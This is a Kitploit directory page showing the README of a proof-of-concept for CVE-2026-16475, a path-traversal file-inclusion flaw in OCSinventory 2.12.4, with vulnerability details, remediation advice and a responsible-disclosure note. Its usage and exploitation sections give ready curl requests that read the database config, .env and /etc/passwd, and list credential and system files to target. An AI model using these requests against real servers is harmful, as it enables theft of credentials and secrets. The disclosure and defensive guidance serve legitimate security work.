Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-16475-PoC — This is the official repo with the PoC of the CVE-2026-16475, LFI in OCSinventory 2.12.4. | Kitploit
Tools/GitHubGitHub/afertar/cve-2026-16475-poc
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration Testing
GitHubafertar/cve-2026-16475-poc

CVE-2026-16475-PoC

This is the official repo with the PoC of the CVE-2026-16475, LFI in OCSinventory 2.12.4.

View Repository
21 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-16475 - OCSinventory LFI PoC

Local File Inclusion vulnerability in OCSinventory 2.12.4

Vulnerability Details

CVE ID: CVE-2026-16475
CVSS Score: 6.9 (Medium)
CWE: CWE-98 (Improper Control of Filename for Include/Require Statement in PHP Program)
Affected Version: OCSinventory 2.12.4
Status: Patched in latest versions

Description

A Local File Inclusion (LFI) vulnerability exists in the /ajax/teledeployoptions.php endpoint due to improper sanitization of the linkedoptions parameter before its use in a dynamic XML file inclusion operation.

The endpoint is designed to load XML configuration files but fails to properly validate the linkedoptions parameter, allowing path traversal attacks.

An unauthenticated remote attacker can exploit this vulnerability to:

  • Include and access arbitrary XML files within the application directory
  • Read non-XML files through XML parser error messages
  • Disclose sensitive information about internal application resources
  • Enumerate system files and perform OS fingerprinting

Impact

  • Confidentiality: HIGH - Access to arbitrary files (config files, source code, logs, system files)
  • Integrity: NONE
  • Availability: NONE
  • Authentication Required: NO
  • User Interaction: NO

Usage

Prerequisites

root@kitploit:~
pip install -r requirements.txt

Python Version (Recommended)

root@kitploit:~
python3 exploit.py -u http://target.com -v

Options:

  • -u, --url - Target URL (required)
  • -v, --verbose - Verbose output
  • -o, --output - Save successful reads to file

Example:

root@kitploit:~
python3 exploit.py -u http://ocs.example.com -v -o results.txt

Bash Version

root@kitploit:~
./lfi_test.sh

Edit BASE_URL variable in the script:

root@kitploit:~
BASE_URL="http://target.com/ajax/teledeployoptions.php"

Targets Enumerated

  • Application config files (dbconfig.inc, .env, config.inc)
  • XML working files (bashscriptopt, executableopt, msiapplicationopt)
  • System logs (apache2, mysql, auth)
  • System files (/proc/, /etc/)
  • Application secrets (composer, package files, .htaccess)

Exploitation Example

root@kitploit:~
# Read database config
curl "http://target/ajax/teledeployoptions.php?os=test&linkedoptions=../../../dbconfig.inc"

# Read passwd file
curl "http://target/ajax/teledeployoptions.php?os=test&linkedoptions=../../../../../../../../etc/passwd"

# Read environment file
curl "http://target/ajax/teledeployoptions.php?os=test&linkedoptions=../../../.env"

Remediation

For Users:

  • Update OCSinventory to the latest version immediately
  • Implement WAF rules to block directory traversal patterns

For Developers:

  • Use basename() or similar functions to prevent path traversal
  • Validate and sanitize all user inputs before file operations
  • Implement proper access controls
  • Use allow-lists for valid file paths

References

  • INCIBE Advisory (ES) - Official CVE coordination authority
  • OCS Inventory GitHub
  • OWASP Path Traversal
  • CWE-98 Definition

Note: CVE-2026-16475 is coordinated through INCIBE and may not yet be indexed in NVD. Check INCIBE source for authoritative information.

Legal

For Educational and Authorized Testing Only

See DISCLAIMER.md for full legal notice.

Author

Adrián Ferrer Tarí

Responsible Disclosure Coordinated Through INCIBE

Download Tool